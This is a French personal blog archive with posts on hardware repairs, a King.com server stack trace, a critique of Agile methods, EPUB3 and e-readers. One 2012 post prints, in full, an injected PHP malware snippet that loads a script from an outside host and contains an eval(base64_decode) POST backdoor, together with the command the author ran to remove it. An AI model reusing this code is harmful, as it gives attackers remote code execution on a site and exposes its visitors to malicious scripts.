mercredi 14 mai 2014

C'est beau, mais c'est moche

Opération "à cœur ouvert" d'un vieil iMac (oui, de toute façon tout matériel Apple de plus de 6 mois est vieux par essence), pour changer un disque dur. Simple ? Oui, si l'on accepte le fait que pour enlever le cadre en plastique il faut avoir un électroaimant sous la main, et que pour accéder au disque il faut soulever l'écran maintenu par... du ruban adhésif (c'est un gadzart qui a conçu ça ?) et quatre vis pour lesquelles vous n'aurez évidemment pas le bon tournevis sous la main (un torx à long coup très aimanté). Et sans oublier le capteur de température collé avec... je ne sais même pas où ils ont trouvé cette chose, en Chine ou au Bangladesh vraisemblablement.

Il faut savoir néanmoins relativiser, ce n'est pas le pire modèle de chez la pomme, pas besoin de pelle à tarte pour l'ouvrir.

DSCN1768.jpg DSCN1769.jpg DSCN1773.jpg

On notera au passage qu'ifixit.com sous Internet Explorer 11 / Windows 8 c'est une belle daube, il faudrait voir ce qu'ils traficotent dans la capture d'événements en JavaScript.

lundi 12 mai 2014

Ce soir chez Boris, c'est soirée dématérialisation

DSCN1753.jpg

Léger et court vétu, et surtout plein d'entrain, je m'étais mis en tête de jeter toutes ces disquettes à la poubelle, non sans les avoir sauvegardées au préalable. Hélas, trois fois hélas, parmi les huit lecteurs que j'avais sous la main, soit une infinité de fois plus que de lecteurs sur ce blog, aucun n'a accepté de fonctionner. C'est donc contraint et forcé que j'ai décidé de mettre à jour le moteur de ce blog, en profitant des nouveautés de 2008. Il n'y a plus qu'à travailler le thème, parce qu'il faut bien... non en fait il ne faut rien.

mardi 30 juillet 2013

Une vision de la pile serveur de king.com

King.com, ce sont les jeux en Flash sur FesseBouc, et les publicités à la télévision pour installer la Saga Brise Bonbon (Candy Crush Saga) sur votre mobaïle. De temps en temps, on peut avoir un aperçu de ce qui se passe côté serveur pour gérer la machinerie.

com.king.core.InternalException: DB error com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: No operations allowed after connection closed.
	at com.king.core.db.DataStoreImpl.handleSQLException(DataStoreImpl.java:322)
	at com.king.core.db.DataStoreImpl.setData(DataStoreImpl.java:140)
	at com.king.core.db.DataStoreImpl.setData(DataStoreImpl.java:121)
	at com.king.core.db.JsonStoreImpl.set(JsonStoreImpl.java:134)
	at com.king.core.db.JsonStoreImpl.set(JsonStoreImpl.java:40)
	at com.king.platform.user.UserJsonStoreImpl.set(UserJsonStoreImpl.java:86)
	at com.king.platform.user.UserJsonStoreImpl.set(UserJsonStoreImpl.java:55)
	at com.king.platform.user.SignInDataManagerImpl.saveSignInData(SignInDataManagerImpl.java:82)
	at com.king.platform.user.SignInDataManagerImpl.updateSignInData(SignInDataManagerImpl.java:105)
	at com.king.platform.user.CoreUserManagerImpl.signInExistingUser(CoreUserManagerImpl.java:62)
	at com.king.platform.facebook.FacebookManagerImpl.signIn(FacebookManagerImpl.java:62)
	at com.king.platform.facebook.FacebookSessionManagerImpl.initFacebookUserSession(FacebookSessionManagerImpl.java:139)
	at com.king.platform.facebook.FacebookSessionManagerImpl.initFacebookUserSession(FacebookSessionManagerImpl.java:111)
	at com.king.platform.facebook.FacebookHttpEntrypointImpl.enter(FacebookHttpEntrypointImpl.java:146)
	at com.king.apps.bubblewitch.BubbleWitchFacebookServlet.service(BubbleWitchFacebookServlet.java:65)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:848)
	at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:669)
	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1336)
	at com.king.platform.session.PlatformServletFilter.doFilter(PlatformServletFilter.java:111)
	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1307)
	at com.king.platform.jetty.AddCloseHeaderFilter.doFilter(AddCloseHeaderFilter.java:16)
	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1307)

Jetty pour le "serveur d'application", MySQL pour la base de données, avec stockage direct en JSON (peut-être). Les Impl partout font craindre qu'il y ait une forêt d'interfaces inutiles de maintenue, sinon c'est assez propre comme pile d'appel, pas de Spring, pas de proxys : sans doute des gens qui savent coder.

vendredi 20 janvier 2012

Qu'est-ce-qu'on se marre

Je trouve toujours ça joli le code infecté :

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

Et après on se demande pourquoi "eval is evil" :-) (mais ça reste moins pire que PREG_REPLACE_EVAL). A part ça, ça m'a permis de découvrir FilesMan, très pratique, une porte ouverte sur le serveur bourré d'astuces (oui bon, on appelle ça un backdoor, ça nous ramène au bon vieux temps de BackOrifice du CDC).

Hop :

user@sdxxxx:/home/alternc/html/x/xx$ set +H
user@sdxxxx:/home/alternc/html/x/xx$ rpl -R -x'.php' "global \$sessdt_o; if(!\$sessdt_o) { \$sessdt_o = 1; \$sessdt_k = \"lb11\"; if(!@\$_COOKIE[\$sessdt_k]) { \$sessdt_f = \"102\"; if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } } else { if(\$_COOKIE[\$sessdt_k]==\"102\") { \$sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } \$sessdt_j = @\$_SERVER[\"HTTP_HOST\"].@\$_SERVER[\"REQUEST_URI\"]; \$sessdt_v = urlencode(strrev(\$sessdt_j)); \$sessdt_u = \"http://turnitupnow.net/?rnd=\".\$sessdt_f.substr(\$sessdt_v,-200); echo \"<script src='\$sessdt_u'></script>\"; echo \"<meta http-equiv='refresh' content='0;url=http://\$sessdt_j'><!--\"; } } \$sessdt_p = \"showimg\"; if(isset(\$_POST[\$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),\$_POST[\$sessdt_p])));exit;} }" '' *
A Total of 613 matches replaced in 3732 files searched.

mardi 20 septembre 2011

Recoller les morceaux

Il y eu un défi photo impliquant Trône de fer et des Lego. Il y eu un miroir qui ne redescendait pas après la prise de vue. Il y eu les cartes Compact Flash qui n'étaient plus reconnues. Las. Cet appareil était de toute façon marqué par le sceau de l'infamie : oui, il avait servi à capturer des images de chats (j'en frissonne encore). Bref, le plus tout jeune Nikon D70 allait devoir subir une intervention... ou mourir. Destination iFixit pour ne pas se demander où retourne telle ou telle vis, récupération du repair manual officiel (que c'est beau tous ces diagrammes), et c'est parti : ouverture du corps, déchargement du condensateur du flash, sortie du berceau à Compact Flash, reconnexion des rubans. Et ça fonctionne ! Plus de problème de lecture ! Testons l'écriture en prenant une photo. "Low battery". Ha, essai avec la batterie de rechange qui est pleine : "low battery". Quelques heures de vaines recherches sur internet plus tard (toujours pas aidé par Google, quand je tape "D70 low battery flashing", c'est que je cherche "D70 low battery flashing" et pas "D70s low flash"), de reset divers et variés, il faut me rendre à l'évidence : c'est l'intervention qui a causé ça, et pas un problème inhérent à ce modèle de boîtier.

Retour à la case démontage, et là, c'est le drame :

Alors oui, ce petit point dur senti en réinsérant le berceau Compact Flash, c'était un ruban en train de se faire cisailler. Que faire ? La soudure est impossible, un vieux boîtier comme celui-ci ne vaut plus grand chose, il faut alors TENTER L'IMPOSSIBLE (non, acheter un nouveau boîtier n'est pas plus tenter l'impossible que d'acheter un iPhone 5 en disant "je me retiens je me retiens") : la réparation du ruban. Armé de quelques instructions trouvées au hasard de mon désespoir, c'est parti pour l'achat d'époxy conducteur. Premier constat : ça douille, 10€ le gramme.

Après commande et réception, c'est parti pour la manipulation. Première partie : isoler le ruban. Malheureusement, pour déconnecter ce ruban des deux côtés, cela impliquerait de dessouder (et ressouder au remontage) pas moins de 15 points de connexions dans le boîtier. Nikon et moi n'ayant pas la même conception du démontage sans risque, je renonce, et on travaillera donc avec le ruban toujours connecté à une extrémité, placé sur une troisième main pour faciliter le travail :

Ensuite, on essaie de remettre le ruban à plat, en collant un bout de scotch en dessous :

Première étape difficile : faire sauter le plastique qui recouvre les pistes métalliques endommagées. Pour ça, préparation d'une petite cale à poncer (avec la résistance de vidage du condensateur pour donner l'échelle) avec une languette de papier de verre en grain 240 (pas plus fin sous la main). Ensuite on ponce douuuuucement :

En théorie, on teste à ce moment là que le métal est bien dégagé avec un petit test de conductivité... je l'ai à peu près fait... mais bon, c'est point facile. On passe ensuite à la préparation de l'epoxy ; c'est du standard bi-composant, colle d'un côté, durcisseur de l'autre, deux minutes de mélange... quatre minute pour l'utiliser, quatre heures pour sécher. Bon. Dosage de la partie colle... je crois que j'ai bien sorti un gramme du tube. Dans ces cas-là, ne faites pas comme moi : servez-vous de la seringue pour aspirer le trop plein du composant avant le mélange. Dosage du durcisseur... il ne sort pas de la seringue... problème de température chez le distributeur ? Bref, on va le chercher dans la seringue à la touillette, puis mélange pendant deux minutes. Ensuite, application d'une crotte (genre un vingtième de ce qui est préparé, si ça n'est pas du gâchis), et on redessine délicatement les espaces entre les pistes métalliques avec le dos d'un scalpel. Et ça donne ça :

Je sais, c'est moche ; et encore, c'est le deuxième essai, le premier s'est conclu en un nettoyage du ruban. Vous voyez ce que ça donne le nettoyage de l'Arctic Silver ? Et bien c'est pareil, sauf que ça colle encore plus. Et rappelez-vous, vous n'avez que 4 minutes pour travailler le mélange avant que commence le durcissement.

En théorie, on teste la conductivité en reconnectant le ruban, et si le test fonctionne, on met une couche d'isolant par dessus ces belles pistes toutes neuves. Pris dans l'enthousiasme du succès de la réparation, j'ai oublié cette étape. Ça n'est pas encore trop trop grave dans ce cas précis, vu qu'à cet endroit le ruban n'est en contact qu'avec du plastique sur cette face. J'aurais eu un beau boîtier avec un corps en magnésium je ne dis pas, mais de ce point de vue là le D70 n'est pas complètement à ce niveau de finition :-)

Au final, le boîtier fonctionne mieux qu'avant, sauf le problème de miroir qui se bloque sur la phase de descente après la prise de vue, peut-être que les batteries se font vieille, ou alors, le boîtier est vraiment en fin de vie : tout ça pour rien, snif. Note : les photos de ce post ont été prises avec old faithful qu'on peut voir ici.

lundi 8 août 2011

L'Agile est mort-né

Ce qui devait être un blogmark devient un article, vu que le commentaire est un poil trop long. Ceci est donc un commentaire à propos de L'Agile est mort de Sébastien Douche.

Si je diffuse un logiciel avec une licence Libre, par exemple BSD, mais que je ne propose pas de bugtracker, de liste de diffusion, ou que je refuse toute contribution extérieure, ou que j'obfusque mon code, ou que j'envoie sur les roses les demandes d'utilisateurs, je fais du Logiciel Libre (ma licence le prouve) sur papier. Dans les faits, ce n'est qu'un erstatz, je ne respecte pas la philosophie du Logiciel Libre.

Si si, c'est du logiciel libre sur le papier et dans la philosophie. Le logiciel libre ça n'est pas ouvrir son processus de développement, ça n'est pas répondre inlassablement aux questions stupides des n00bz : ça c'est du logiciel bazaaresque (au sens ESRien du terme), et ça n'a rien à voir avec le free software.

Le développement est une histoire de développeurs avant tout. Vous devez faire confiance aux gens, les respectez dans leur capacité à produire, dans leur jugement. Cet accent me semble t'il est absent des approches précédentes comme la cascade ou RUP. Ces dernières sont plutôt accés processus, avec des dizaines de procédures et de la documentation à profusion, le développeur n'étant qu'un rouage du système. CMMi est un bon exemple de cette vision : la documentation officielle parle sempiternellement d'organisation et de processus. Et pire, il faut être certifié CMMi pour savoir lire une doc CMMi (cherchez l'erreur) tellement elle est inbitable et truffée d'une terminologie incompréhensible.

On doit faire confiance au développeur, dans sa capacité à produire, à juger, tout ça tout ça, mais on le préjuge incapable d'acquérir le vocabulaire de base et le formalisme de CMMi ? Parce que le métier du client que l'agiliste devra maîtriser sera forcément moins "truffée de terminologie" que CMMi ?

L'agilité apporte beaucoup de solutions intéressantes : le TDD, les tests, la revue par les pairs, l'intégration continue ou le refactoring par exemple.

Les tests : euh... le contrôle qualité est la pierre angulaire de toute discipline qui vise à produire. TDD : on parle de "redécouverte" du TDD par Beck, c'est parce qu'on est poli. Revue par pair : de Dijkstra 1961 à Constantine 1995, nnss. Refactoring : popularisé par Fowler avant que l'agile n'ait son heure de gloire. Intégration continue : Booch 1993 (ou avant ?). Enfin bref, tout ça a été remis dans la lumière par les agilistes, mais en aucun cas ce ne sont des pratiques apportées par l'Agile. D'ailleurs le pair programming est encore plus populaire dans le monde de la Rache que dans le monde de l'Agile.

Je suis malgré tout un vieux Geek, j'achetais pas mal de livres sur la programmation voici 20 ans et je n'ai aucun souvenir des livres (en France en tout cas !) qui ressemblait peu ou prou à l'agilité, on apprenait plutôt en copiant le code des maitres (en crackant des logiciels, en écoutant les démo-makers ou en bavardant sur les BBS).

Effectivement, clash de culture, on est très loin des K&R, TAOCP, Wizard Book, Dragon Book et MMM.

Des pratiques quasi inconnues voici 10 ans sont maintenant considérées comme des pratiques indispensables (vous faisiez beaucoup de tests unitaires en 2000 ?). L'agilité a apporté la lumière à des milliers de développeurs, dont moi, et à fait progresser notre connaissance de notre métier, en construisant pour la première fois un socle stable. Nous en sommes encore au début mais nous tentons chaque jour de mieux comprendre ce métier Ô combien difficile.

Il faut toujours se méfier quand on écrit "pour la première fois", à part si on vit dans un monde binaire évidemment. Et il faut toujours se méfier quand on parle d'"apporter la lumière", car la question sous-jacente est toujours "mais qui donc les maintenait dans l'ombre ?" (et la réponse étant normalement "ben personne, il suffisait d'ouvrir les yeux, pas besoin d'attendre un messie").

Dites moi si ces quelques exemples vous dit quelques choses : Le Chef de projet est appellé ScrumMaster, parce qu'il a fait 2 jours de formation.

C'était le processus standard de la Scrum Alliance jusqu'à peu, sanctionné par Jeff Sutherland en personne. Et d'ailleurs, pourquoi est-ce que ça devrait être problématique ? Ne devrait-on pas avoir confiance en ses capacités d'être Scrum Master après une formation initiale ? Ou alors il ne devrait recevoir le titre de Scrum Master qu'à la suite d'un compagnonnage, cette pratique moyenâgeuse ?

L'Agile est mort en 2001. Plus précisément en février 2001, à Snowbird Utah USA. C'est la création du Manifeste Agile et de l'emploi du terme Agile. Plus généralement, c'est une volonté de mettre en place un modèle, un cadre. C'est à partir de 2002 que l'on voit fleurir les livres avec le terme agile dans le titre. Cela peut paraitre surprenant de dire cela, puisque c'est aussi le début du mouvement Agile. L'objectif de normaliser termes et principes, de les figer, est avant tout pour mieux le vendre.

C'est bien connu, la transmission du savoir est infiniment plus facile quand tout le monde parle en termes différents, et avec des références (principes) différents. L'Agile est donc mort à partir du moment où on s'est donné les moyens de le transmettre en masse, l'Agile est donc réservé à une élite, donc l'Agile n'est pas Agile vu qu'il ne respecte pas le premier principe figé de l'Agile qui est de faire confiance et respecter les gens.

Ne voulant pas remettre en cause ces deux postulats, il ne peut en résulter qu'un dévoiement du mouvement Agile. Et c'est ce qui se passe. L'Agile est donc une mode, qui passe après le développement objet, les Design Patterns, le C++, Java, les frameworks, RUP et quelques autres. On verra dans quelques années fleurir de nouvelles modes quand les promesses des vendeurs Agiles se seront écrasées sur le mur de la réalité des entreprises.

L'Agile est devenue une mode comme un produit Apple, avec les mêmes problèmes de fanboyisme qui fait que pour n'importe quel produit ou pratique ou service labellisé, on érige un nouveau totem aux noms de l'innovation et de la nouveauté apocryphes.

Pourquoi ? Parce qu'on est plus intéressé à vendre qu'a réfléchir, car pour réfléchir il faut avant tout faire ! Ce n'est pas en écrivant des livres et en faisant du consulting qu'on peut produire. XP est le résultat de très nombreuses années de pratique de développement logiciel. Taiichi Ono (fondateur du Toyota Production System) à passé plusieurs décénnies pour perfectioner son organisation. Il ne faisait surement pas passer des certifications TPS 5 ans après avoir débuté sa nouvelle organisation !

Et un jour peut-être, une certaine classe d'agilistes arrivera à ne pas ressortir à tout bout champ des références au toyotisme, qui est une solution pour produire de manière performante (qualité, coût, délai) et en masse des produits manufacturés à options sur base commune sans faire exploser les stocks (en particulier BDL). Si certaines des pratiques embarquées dans le toyotisme sont d'application générale dans l'organisation du travail (et on serait tenté de dire dans l'organisation "scientifique" du travail), la transposition directe "assembler un véhicule" / "analyser un processus métier pour concevoir et implémenter un logiciel" est d'une honnêteté intellectuelle à peu près aussi convaincante que de dire "Struts c'est du MVC (Reenskaug 1979)". Ceci était juste un aparté.

Il faut seulement avoir une vision systémique du mouvement, comprendre d'où il vient, pourquoi il a été créé et pourquoi certaines personnes vendent le modèle Agile. Cela permet par exemple de comprendre le Manifeste Agile au lieu de répéter bêtement son contenu qui est loin d'être optimal en 2011. Cela permet aussi de comprendre que ce modèle créé en 2001 (Scrum en 96, XP en 99) et qui a mis du temps à se propager n'apporte plus rien de neuf depuis de nombreuses années. Si l'argent fut toujours le moteur, le modèle est maintenant dévoyé pour rentrer dans la matrice consulting, loin des objectifs initiaux. Et ni les voix officielles (Agile Alliance, Scrum Alliance), ni ses têtes pensantes se sont élevés contre cela. Pire, elles ont participé activement à ce dévoiement (qui a dit certification ?).

Là on rentre dans une problématique extrêmement vaste, qui est celle de la formation, sujet proche de la diffusion de la connaissance mais avec ses spécificités propres. Le monde des rebelles aux SSII (pour caricaturer) est entré dans un cercle vicieux de dévalorisation des formations en général ("les diplômes c'est bidon, seule l'expérience compte", "les certifications c'est bidon, c'est uniquement sur des modèles dépassés", "les formations c'est bidon, les formateurs ne sont que des perroquets", "à quoi ça sert une formation ? J'aurais toujours la réponse sur internet"), et en arrive à s'imaginer vivre dans le monde de "La citadelle du vertige" d'Alain Grousset, dans un progressisme perpétuel et s'appuyant sur des fondations fantasmées. Et ceci nous amène à une contradiction de ces rebelles, ces champions du logiciel, c'est-à-dire de la mise en place des procédés et règles de traitement de l'information sous la forme de programmes, sont incapables de données du crédit au moindre processus de transmission et de validation de la connaissance qui sorte du sillon de l'apprentissage ou du compagnonnage, dans un médiévisme de bon aloi qui nous ramène à "La citadelle du vertige". Pour la faction agiliste qui met la primauté dans la confiance en l'homme (par défiance envers "le processus"), cela relève d'un cynisme assez redoutable.

Je pourrais résumer ma pensée ainsi : L'agilité est une avancée importante, mais le modèle Agile est inutile. C'est peut être le destin de tout modèle. En tout cas il est temps que chaque organisation invente, à l'instar de Toyota, son propre modèle de production. Un modèle adapté à son business, ses clients, ses collaborateurs. Un modèle qui prend en compte toutes les nouvelles avancées que l'on peut trouver dans les mouvements tels que Devops, Lean, Lean startup ou Kanban. Un modèle qui évolue sans cesse avec la maturité et la capacité de l'organisation à produire.

Le modèle évolue sans cesse, mais le business change aussi, on change de clients, les collaborateurs changent (ils arrivent, partent, sont déprimés). Donc tout change ; et s'il n'y a pas de référentiel, alors tout le discours autour d'une évolution est par nature paralogique.

Pour conclure, comme la naissance de l'Agile est concomitante avec sa mort (comme le Big-Bang), alors les agilistes sont des étoiles (filantes ?).

samedi 9 juillet 2011

Investissez plus pour gagner plus

A changer en haut à gauche et en haut à droite

Et deux condensateurs à changer, deux. C'est quand même dommage de mégoter sur quelques maos et avoir un produit qui lâche bêtement : à moi Wervicq-Sud.

lundi 23 mai 2011

Glossaire 2.0 : fondation

Eric Hellman nous dit dans "The Object-Oriented Book" :

This comes along with EPUB3's use of HTML5 as a foundational layer.

De mon temps, quand on parlait de fondation, c'était pour désigner quelque chose de solide, de stable. Là pour commencer, on ne sait pas si ça parle de HTML5, de HTML5 (on va dire HTML 5 pour simplifier par la suite) ou de HTML LS (anciennement connu sous le nom de "HTML5 pour les vrais hommes"). Allons voir dans "EPUB 3 Changes from EPUB 2.0.1" :

EPUB 3's base content format is now based on the XML serialization of HTML5 (XHTML5)

Hmm, donc ça doit être HTML 5 ou HTML LS, mais certainement pas HTML5. Mais il y a un indice : normalement, on utilise le mot "XHTML5" uniquement dans un contexte HTML LS, vu que la relation entre ce "XHTML5" et XHTML est au mieux nulle, au pire péjorative. Essayons de confirmer cet indice en allant voir le document de référence, "EPUB Content Documents 3.0" :

The XHTML document type defined by this specification is based on W3C [HTML5], and inherits all definitions of semantics, structure and processing behaviors from the HTML5 specification unless otherwise specified.

Perdu ! En fait c'était HTML 5 et pas HTML LS. Et là, on arrive quand même à une superbe fondation... le type de document XHTML de cette spécification est définit par HTML 5, y compris par les "processing behaviors" définis dans HTML 5, c'est-à-dire, on définit ces types de document XHTML comme n'étant pas du XML ; et en plus, ça contredit le document "EPUB 3 Changes from EPUB 2.0.1" qui ne parlait que de la sérialisation XML du document. Bref, la définition 2.0 de "fondation" est : tas de sable.

samedi 23 octobre 2010

Ma bibliothèque numérique, une lecture en spectateur

Karl faisait le point récemment sur les différents systèmes électroniques portables de lecture (il ne mentionne pas électronique, mais il ne parle pas des livres :-)) :

Je regarde de nombreux systèmes portables de lecture (tablette, ereader, etc.). Aucun n'a encore été capable de me séduire. Entre options manquantes et options superflues ou ennuyeuses, je n'arrive pas encore à faire le pas. Ce billet pour me permettre de clarifier ce que je n'aime pas et ce que je désire dans un appareil mobile me permettant d'être actif autour de la lecture, ainsi que les services offrant des textes au format numérique.

Il s'en suit une liste de points négatifs et de désirs en relation avec cette optique ; j'y apporte mon complément :

e-ink, le scintillement du passage entre chaque page
Quand on lit un livre, on n'est pas gêné outre mesure par cette page qui passe devant nos yeux à chaque fois qu'on la tourne ; dans le fil de la lecture, cet artefact visuel est ignoré. Pour l'e-ink, c'est pareil. A partir d'une certaine célérité de rafraichissement de la liseuse, on ne remarque plus ce "scintillement" (difficile de parler de scintillement quand il n'y pas d'agression lumineuse).
Les systèmes de protection des textes (DRM)
Le débat peut être long. Au final, jamais un DRM ne m'a jamais vraiment empêché de profiter d'une œuvre. Du matériel Apple oui par contre.
Les interfaces qui copient la métaphore des pages avec les ombres, les pages que l'on tourne, les bibliothèques en pixels de bois
Ajouter de faux ombrages pour indiquer une reliure qui n'existe pas, exhiber des couvertures comme en tête de gondole, rajouter une animation à chaque mouvement de "page" : je suis bien forcé de dire non là aussi...
Le poids de certains appareils (ipad par exemple)
En même temps, l'iPad est conçu pour les américains bedonnants vautrés dans leurs canapés, le poids est peu important.
La dépendence par rapport à un service unique en ligne
Si le service est bien fait et propose tout ce qui m'intéresse : pourquoi pas. Mais c'est évidemment complètement utopique.

Quelques divergences donc, principalement sur l'e-ink. J'avais moi aussi cette réticence initiale par rapport ce clignotement, mais après quelques milliers de pages lues sur de l'e-ink, force est de constater que :

  1. le cerveau sait parfaitement faire abstraction de ces petits désagréments
  2. il est beaucoup plus adapté de lire un roman sur un écran de 15cm de diagonale (6", standard liseuse électronique, proche livre de poche) que 8,9cm (3,5", standard PDA/téléphone intelligent)
  3. il est toujours illusoire de vouloir lire du contenu mis en page au format magazine sur une liseuse électronique type iPad (24,6cm de diagonale, mais résolution largement insuffisante)
  4. on peut lire des heures durant sur de l'e-ink sans fatigue visuelle, ce qui n'est pas le cas sur des écrans rétro-éclairés (LCD, super-LCD, OLED, AMOLED....)
  5. il est quand même bien agréable de pouvoir bouquiner dehors au soleil, ce que ne permettent pas ces mêmes écrans rétro-éclairés

Là où les vrais divergences arrivent, c'est en effet sur les désirs de Karl. Apparemment, nous n'avons pas les mêmes valeurs (et je tiens à faire remarquer que les rillettes du Loir-et-Cher sont bien meilleures que celles du Mans).

Annoter les textes de commentaires, notes, images au sein du texte.
Je n'annote jamais mes livres, jamais. Pas un coup de surligneur, pas un trait de crayon, rien. Je ne corne pas plus les pages que je ne casse la reliure. Alors où sont mes notes ? Ailleurs, en parallèle, référencées. Cela pourrait passer pour du fétichisme de l'intégrité de l'objet, et quelque part, ça en est peut-être. On pourrait aussi arguer qu'il est limitant de ne pas avoir dans un espace le texte et les notes. Tout dépend de l'objectif qu'on met dans cette prise de notes, si l'on travaille à partir des notes ou qu'on repart du texte. Sautons les autres désirs liés aux annotations.
Sélectionner et partager une partie du texte par mail, ou autre système de communications avec les références du texte (titre, auteur, etc.)
Deux parties dans ce désir : la transmission électronique d'un extrait, et la normalisation du référencement. Autant la deuxième partie est intéressante (mais forcément technique, et déjà que les néo-auteurs qui n'ont pas besoin du "système" n'arrivent pas à faire une mise en page et encore moins à éprouver le besoin de passer par un correcteur, alors demander de fournir des informations permettant un référencement !), autant pour la première je suis plus circonspect. Il ne faut pas avoir peur de devoir taper ce qu'on l'on souhaite transmettre, ça permet de relire plus précisément, de corriger les éventuelles fautes et peut-être tout bêtement de renoncer à cette transmission.
Recherche plein texte à travers tous les livres contenus dans l'appareil et/ou un serveur associé à cet appareil.
Cela peut être intéressant, mais au final ? C'est un désir fortement lié à une exploitation technique d'un texte, et dans cette approche, il y a pour moi nécessité d'avoir un véritable périphérique de saisie riche à proximité immédiate, et de l'environnement de travail qui va avec. Je ne demande pas ça à une liseuse.
Échange de mon livre papier contre la copie électronique de ce même livre sans avoir à le racheter
Bon. Comment ne pas être d'accord ? (Ou au minimum avec un prix réduit)
Système de backup (normalisé) sur un ou plusieurs disques/serveurs externes
Je serais tenté de dire bof. C'est petit de dire bof, et pas très explicite. Une différence entre le numérique et le physique est que l'on est culturellement plus incliné à se soucier de la préservation de nos biens physiques, plus facile à appréhender, plutôt que de nos biens numériques. On va faire attention à ne pas diminuer la beauté éclatante d'un produit Apple, alors qu'en fait il a strictement la même valeur d'usage complètement cabossé et taggué. On va se plaindre de s'être fait voler son iPhone alors que : 1. c'est bien fait, 2. ce n'est pas grave, tu as les moyens de t'en payer un autre, 3. toutes les données sont synchronisées dans iThunes (si l'effort de préservation des données numériques est bien conduit). Il n'en reste pas moins que l'organisation de nos biens physiques est éminemment plus facile à appréhender. Pour en revenir au sujet, si on normalise le système de backup maintenant, on perd une nouvelle chance de sensibiliser les gens à propos de ce sujet. Pour les autres, il reste la DeathCapsule de toute manière.
Système de commercialisation afin de pouvoir revendre le livre à une autre personne en P2P ou à travers des sites d'échanges. Chaque revente permet de verser une somme à l'auteur. (Tout le monde devient libraire).
C'est une idée intéressante, mais difficile à mettre en œuvre sans DRM :-D
Possibilité d'échanger deux textes entre appareils de deux personnes.
Haaa, le fameux squirt du Zune.
Une offre beaucoup plus large de livres. (L'offre de la littérature francophone est pitoyable dans les titres classiques.)
Pourquoi seulement dans les titres classiques ? Il existe un vrai travail à fournir, et il est sûr que la dispersion des énergies n'aide pas.
Mettre sur le même écran côte à côte, deux sections du même texte ou de deux textes différents.
Je préférerais surtout deux écrans en mode "livre".
WIFI
Bof (oui je sais, encore). Quand je lis, je veux me déconnecter (au sens pré-internet du terne). Je ne veux pas d'un périphérique en réseau.
Programmer le système (python, etc.) pour travailler sur les textes ou associer des scripts (bookmarklet)
On rappelle que les périphériques Sony (et d'autres) sont en Linux et qu'on peut les flasher :-)
Unité de stockage rapide comme clé usb
Je préfère encore que mon périphérique puisse lire nativement une carte mémoire externe.
Avoir un serveur Web dans mon appareil que je peux accéder par un réseau local grâce à une autre machine (configuration d'ACL possibles)
Je propose de souder un écran LCD à une SheevaPlug. Comment ça on s'éloigne de l'idée de la liseuse électronique ?

Et je laisse le dernier désir en suspend, on aura bien compris les divergences :-) Que peut-on en déduire au final ? Tout simplement qu'il y a plusieurs publics pour ces périphériques, et que je ne suis pas certain qu'un seul périphérique puisse satisfaire pleinement ces différents publics, ces différents usages.

dimanche 4 avril 2010

Passé-e de mod-e ?

Etant en train de tripatouiller le plugin importMT pour rapatrier des données en Atomeuh, je m'aperçois qu'il a été fait par Lunar (pas de lien, "enmarge" a disparu du ouaib), et trouve dans le texte explicatif l'extrait suivant :

Rédacteurs

Veuillez fournir les informations manquantes à propos des auteur-e-s détecté-e-s.

Note : Les identifiants doivent être composés de lettres et de chiffres.

Ca fleure bon le début des années 2000 et les "motivé-e-s" toulousains. On note cependant la présence de certaines fautes (comme la non-neutralisation du "Rédacteurs" en titre), et surtout le peu de rigueur dans l'annonce de la multigenralité des termes employés. Heureusement, l'iPad vient à notre rescousse, avec les expressions régulières. On dira que les expressions régulières n'ont rien à voir avec l'iPad : c'est faux. L'iPad étant l'Α et l'Ω de l'informatique, et l'informatique contenant les expressions régulières, alors l'iPad est autant lié aux expressions régulières qu'un gourou l'est à ses disciples. Les augures me pardonneront par avance, mais nous prendront pour cet exemple la syntaxe PCRE, exemple que voici :

Rédact(?:eur|rice)s

Veuillez fournir les informations manquante?s à propos des aut(?:eur|rice)s détectée?s.

Note : Les identifiante?s doivent être composée?s de lettres et de chiffres.

On notera l'utilisation de l'expression de non capture des groupes ("?:"), il ne faut bien évidemment pas garder en mémoire l'expression trouvée. On notera néanmoins un problème avec cette notation : ici, le masculin "eur" est placé avant le féminin "rice", le choix inverse aurait été tout aussi inégalitaire. La seule solution viable serait de passer à un système d'écriture multiligne, mais, là encore, il y aurait la ligne "du haut" et la ligne "du bas". Il ne reste donc plus comme solution que la superposition :

Rédact(?:eurrice)s

Veuillez fournir les informations manquante?s à propos des aut(?:eurrice)s détectée?s.

Note : Les identifiante?s doivent être composée?s de lettres et de chiffres.

Voilà. L'important, c'est d'aller au bout de la démarche.

dimanche 7 mars 2010

Question bête

Vous embaucheriez quelqu'un qui a un profil Facebook public et qui est fan de :

  • S'enculer sous la couette quand on a froid
